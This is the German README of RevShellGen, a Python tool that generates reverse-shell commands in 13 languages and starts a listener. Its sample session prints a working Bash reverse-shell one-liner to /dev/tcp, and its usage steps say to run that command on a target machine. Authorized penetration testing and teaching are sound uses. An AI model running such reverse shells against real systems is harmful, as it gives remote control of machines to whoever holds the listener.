
Reverse-Shell-Generator geschrieben in Python 3.
Reverse-Shell-Generator
Automatisierte Reverse-Shell-Erstellung mit Stil
Reverse Shells generieren, codieren und abfangen – ganz ohne Aufwand
Funktionen • Installation • Nutzung • Shell-Typen • Mitwirken
RevShellGen ist ein leistungsstarkes Kommandozeilen-Tool, das den Prozess der Generierung von Reverse-Shell-Befehlen vereinfacht. Kein lästiges Nachschlagen von Syntax, kein manuelles Codieren, keine Konfigurationskopfschmerzen mehr. Dieses Tool erledigt alles mit einer intuitiven Oberfläche.
# Installation von PyPI
pip install revshellgen
# Tool ausführen
revshellgen
# Repository klonen
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Abhängigkeiten installieren
pip3 install -r requirements.txt
# Tool ausführen
python3 revshellgen.py # oder python3 revshellgen_cli.py
RevShellGen benötigt die folgenden Python-Pakete:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Möglicherweise muss python3-dev installiert werden
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Installieren Sie ncat für bessere Listener-Unterstützung
brew install nmap # Enthält ncat
Tool starten
python3 revshellgen.py
Reverse Shell konfigurieren
Generierter Befehl wird automatisch in die Zwischenablage kopiert
Listener starten (automatisch)
Befehl auf dem Zielrechner ausführen
![]() Shell-Auswahl |
![]() Befehlsgenerierung |
| Shell-Typ | Beschreibung | Plattform |
|---|---|---|
| Bash | Bash TCP Reverse Shell | Linux/Unix |
| Python | Python-basierte Reverse Shell | Plattformübergreifend |
| Netcat | Traditionelle nc Reverse Shell | Linux/Unix |
| Netcat mkfifo | Netcat mit Named Pipe | Linux/Unix |
| Perl | Perl-basierte Reverse Shell | Plattformübergreifend |
| PHP | PHP Reverse Shell | Plattformübergreifend |
| Ruby | Ruby-basierte Reverse Shell | Plattformübergreifend |
| Java | Java Reverse Shell | Plattformübergreifend |
| AWK | AWK Reverse Shell | Linux/Unix |
| Socat | Socat Reverse Shell | Linux/Unix |
| Socat TTY | Socat mit vollem TTY | Linux/Unix |
| Telnet | Telnet Reverse Shell | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen enthält jetzt umfassende TTY-Upgrade-Anleitungen. Nach dem Abfangen einer Shell bietet das Tool:
Das Tool erkennt automatisch die passende Netcat-Variante und verwendet sie:
ncat (bevorzugt, aus dem nmap-Paket)nc (traditionelles Netcat)nc-Syntax-Unterstützung$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ IP AUSWÄHLEN ] ----------
[ x ] 192.168.1.10 auf eth0
[ ] 10.0.0.5 auf tun0
[ ] Manuell eingeben
---------- [ PORT ANGEBEN ] ----------
[ # ] Portnummer eingeben : 4444
---------- [ BEFEHL AUSWÄHLEN ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ REVERSE-SHELL-BEFEHL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Befehl in die Zwischenablage kopiert!
[ + ] Listener auf Port 4444 wird gestartet...
Beiträge sind willkommen! Bitte reichen Sie gerne einen Pull-Request ein. Bei größeren Änderungen eröffnen Sie bitte zuerst ein Issue, um zu besprechen, was Sie ändern möchten.
# Fork klonen
git clone https://github.com/DEIN_BENUTZERNAME/revshellgen
cd revshellgen
# Branch erstellen
git checkout -b feature/dein-feature-name
# Änderungen vornehmen und committen
git add .
git commit -m "Füge dein Feature hinzu"
# Zum Fork pushen
git push origin feature/dein-feature-name
# Pull-Request erstellen
Einen Fehler gefunden oder einen Vorschlag? Bitte eröffne ein Issue auf GitHub.
Dieses Projekt ist unter der GNU General Public License v3.0 lizenziert – siehe die Datei LICENSE für Details.
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und zu Bildungszwecken bestimmt.
Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keinerlei Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.